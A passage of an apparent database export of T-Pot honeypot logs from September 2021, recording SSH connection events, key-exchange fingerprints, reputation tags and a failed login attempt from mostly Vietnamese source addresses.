"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43354, "timestamp": "2021-09-20T11:09:53.018588", "@timestamp": "2021-09-20T11:09:53.018Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25332	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:53.013297+03	2021-09-20 14:15:09.985471+03	{"_id": "GwblAnwBvYTbRNuE5hoq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:43354 (192.168.176.2:22) [session: 2485a52d7755]", "session": "2485a52d7755", "@version": "1", "protocol": "ssh", "src_port": 43354, "dest_port": 22, "timestamp": "2021-09-20T11:09:53.013297Z", "@timestamp": "2021-09-20T11:09:53.013Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25333	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:52.836453+03	2021-09-20 14:15:09.9865+03	{"_id": "JAblAnwBvYTbRNuE5hoq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [dubai/dubai] failed", "session": "16dc7c646d81", "@version": "1", "password": "dubai", "username": "dubai", "timestamp": "2021-09-20T11:09:52.836453Z", "@timestamp": "2021-09-20T11:09:52.836Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25334	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:52.861831+03	2021-09-20 14:15:09.9885+03	{"_id": "MwblAnwBvYTbRNuE5hoq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "23387219f17e", "@version": "1", "duration": 2.6708407402038574, "timestamp": "2021-09-20T11:09:52.861831Z", "@timestamp": "2021-09-20T11:09:52.861Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25335	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:52.975507+03	2021-09-20 14:15:09.9905+03	{"_id": "NAblAnwBvYTbRNuE5hoq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "8d1c8add9c64", "@version": "1", "timestamp": "2021-09-20T11:09:52.975507Z", "@timestamp": "2021-09-20T11:09:52.975Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25336	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:53.155751+03	2021-09-20 14:15:09.991501+03	{"_id": "NQblAnwBvYTbRNuE5hoq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "c79cb9bc0850", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:53.155751Z", "@timestamp": "2021-09-20T11:09:53.155Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25347	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:44.526482+03	2021-09-20 14:15:10.007501+03	{"_id": "WwblAnwBvYTbRNuExhne", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:46900 (192.168.176.2:22) [session: d33f7fcd1b48]", "session": "d33f7fcd1b48", "@version": "1", "protocol": "ssh", "src_port": 46900, "dest_port": 22, "timestamp": "2021-09-20T11:09:44.526482Z", "@timestamp": "2021-09-20T11:09:44.526Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25337	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:53.393001+03	2021-09-20 14:15:09.99247+03	{"_id": "NgblAnwBvYTbRNuE5hoq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "c79cb9bc0850", "@version": "1", "timestamp": "2021-09-20T11:09:53.393001Z", "@timestamp": "2021-09-20T11:09:53.393Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25338	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:09:53.369847+03	2021-09-20 14:15:09.9945+03	{"_id": "NwblAnwBvYTbRNuE6Bpo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1596982321761785, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 39512, "dest_port": 22, "timestamp": "2021-09-20T11:09:53.369847Z", "@timestamp": "2021-09-20T11:09:53.369Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25339	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:53.15792+03	2021-09-20 14:15:09.9955+03	{"_id": "PQblAnwBvYTbRNuE6Rp7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39512, "timestamp": "2021-09-20T11:09:53.157920", "@timestamp": "2021-09-20T11:09:53.157Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25340	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:09:53.525385+03	2021-09-20 14:15:09.9975+03	{"_id": "PgblAnwBvYTbRNuE6Rp7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 45208, "dest_port": 22, "timestamp": "2021-09-20T11:09:53.525385", "@timestamp": "2021-09-20T11:09:53.525Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25348	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:44.531241+03	2021-09-20 14:15:10.0085+03	{"_id": "YQblAnwBvYTbRNuExhne", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "5acc1808d524", "@version": "1", "duration": 2.7460036277770996, "timestamp": "2021-09-20T11:09:44.531241Z", "@timestamp": "2021-09-20T11:09:44.531Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25341	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:53.526186+03	2021-09-20 14:15:09.999524+03	{"_id": "PwblAnwBvYTbRNuE6hoQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", 